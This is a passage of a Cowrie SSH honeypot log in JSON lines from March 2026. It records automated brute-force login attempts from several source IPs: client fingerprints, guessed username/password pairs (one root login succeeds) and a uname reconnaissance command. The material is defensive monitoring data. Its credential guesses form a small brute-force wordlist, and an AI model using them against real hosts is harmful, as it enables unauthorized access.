istp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:40.999524Z","src_ip":"162.120.6.20","session":"e6925652c22c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Root@12345678","message":"login attempt [root/Root@12345678] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:41.215387Z","src_ip":"162.120.6.20","session":"e6925652c22c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:41.389231Z","src_ip":"162.120.6.20","session":"e6925652c22c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:41.392327Z","src_ip":"162.120.6.20","session":"e6925652c22c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:41.466399Z","src_ip":"162.120.6.20","session":"e6925652c22c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:54:41.470999Z","src_ip":"162.120.6.20","session":"e6925652c22c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.63.205","src_port":36782,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b99375ef929","protocol":"ssh","message":"New connection: 196.188.63.205:36782 (159.203.135.109:22) [session: 1b99375ef929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:55:34.094947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:55:34.099274Z","src_ip":"196.188.63.205","session":"1b99375ef929","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:55:34.318846Z","src_ip":"196.188.63.205","session":"1b99375ef929","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jacob","password":"jacobpass","message":"login attempt [jacob/jacobpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:55:35.224873Z","src_ip":"196.188.63.205","session":"1b99375ef929","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:55:36.445008Z","src_ip":"196.188.63.205","session":"1b99375ef929","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":51746,"dst_ip":"159.203.135.109","dst_port":22,"session":"44852f9d025f","protocol":"ssh","message":"New connection: 2.57.122.96:51746 (159.203.135.109:22) [session: 44852f9d025f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:55:59.695795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:55:59.754750Z","src_ip":"2.57.122.96","session":"44852f9d025f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:55:59.893548Z","src_ip":"2.57.122.96","session":"44852f9d025f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz!QAZ2wsx@WSX3edc#EDC","message":"login attempt [ubuntu/1qaz!QAZ2wsx@WSX3edc#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:56:00.346143Z","src_ip":"2.57.122.96","session":"44852f9d025f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:56:01.449124Z","src_ip":"2.57.122.96","session":"44852f9d025f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":51958,"dst_ip":"159.203.135.109","dst_port":22,"session":"80c19e482bc2","protocol":"ssh","message":"New connection: 2.57.122.208:51958 (159.203.135.109:22) [session: 80c19e482bc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:56:23.115236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:56:23.235158Z","src_ip":"2.57.122.208","session":"80c19e482bc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:56:23.238718Z","src_ip":"2.57.122.208","session":"80c19e482bc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4$RFV","message":"login attempt [ubuntu/4$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:56:24.220873Z","src_ip":"2.57.122.208","session":"80c19e482bc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:56:25.353439Z","src_ip":"2.57.122.208","session":"80c19e482bc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":32790,"dst_ip":"159.203.135.109","dst_port":22,"session":"accf47fdac21","protocol":"ssh","message":"New connection: 193.32.162.145:32790 (159.203.135.109:22) [session: accf47fdac21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:56:36.232022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:56:36.236925Z","src_ip":"193.32.162.145","session":"accf47fdac21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:56:36.342154Z","src_ip":"193.32.162.145","session":"accf47fdac21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brain","password":"brain","message":"login attempt [brain/brain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:56:36.649136Z","src_ip":"193.32.162.145","session":"accf47fdac21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:56:37.773831Z","src_ip":"193.32.162.145","session":"accf47fdac21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":39890,"dst_ip":"159.203.135.109","dst_port":22,"session":"e814fe7268e7","protocol":"ssh","message":"New connection: 213.209.159.159:39890 (159.203.135.109:22) [session: e814fe7268e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:56:57.556380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:57:08.221076Z","src_ip":"213.209.159.159","session":"e814fe7268e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:57:08.299498Z","src_ip":"213.209.159.159","session":"e814fe7268e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maryann","password":"maryann","message":"login attempt [maryann/maryann] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:57:08.699270Z","src_ip":"213.209.159.159","session":"e814fe7268e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maryann","password":"maryann1","message":"login attempt [maryann/maryann1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:57:09.783337Z","src_ip":"213.209.159.159","session":"e814fe7268e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maryann","password":"maryann123","message":"login attempt [maryann/maryann123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:57:10.867643Z","src_ip":"213.209.159.159","session":"e814fe7268e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maryann","password":"maryann1234","message":"login attempt [maryann/maryann1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:57:11.951590Z","src_ip":"213.209.159.159","session":"e814fe7268e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maryann","password":"maryann12345","message":"login attempt [maryann/maryann12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:57:13.036099Z","src_ip":"213.209.159.159","session":"e814fe7268e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.6","message":"Connection lost after 16.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:57:14.122263Z","src_ip":"213.209.159.159","session":"e814fe7268e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":58770,"dst_ip":"159.203.135.109","dst_port":22,"session":"c79cb446e01a","protocol":"ssh","message":"New connection: 2.57.122.208:58770 (159.203.135.109:22) [session: c79cb446e01a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:58:40.247258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:58:40.251111Z","src_ip":"2.57.122.208","session":"c79cb446e01a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:58:40.351550Z","src_ip":"2.57.122.208","session":"c79cb446e01a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:58:40.795117Z","src_ip":"2.57.122.208","session":"c79cb446e01a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:58:41.917811Z","src_ip":"2.57.122.208","session":"c79cb446e01a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":47626,"dst_ip":"159.203.135.109","dst_port":22,"session":"760cf612b721","protocol":"ssh","message":"New connection: 2.57.122.96:47626 (159.203.135.109:22) [session: 760cf612b721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:59:04.698554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:59:04.703013Z","src_ip":"2.57.122.96","session":"760cf612b721","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:59:04.806650Z","src_ip":"2.57.122.96","session":"760cf612b721","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz!QAZ2wsx","message":"login attempt [ubuntu/1qaz!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:59:05.118280Z","src_ip":"2.57.122.96","session":"760cf612b721","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:59:06.224061Z","src_ip":"2.57.122.96","session":"760cf612b721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":41148,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5d966f28ce6","protocol":"ssh","message":"New connection: 2.57.122.208:41148 (159.203.135.109:22) [session: e5d966f28ce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:00:55.108472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:00:55.208849Z","src_ip":"2.57.122.208","session":"e5d966f28ce6","protocol":"ssh"}
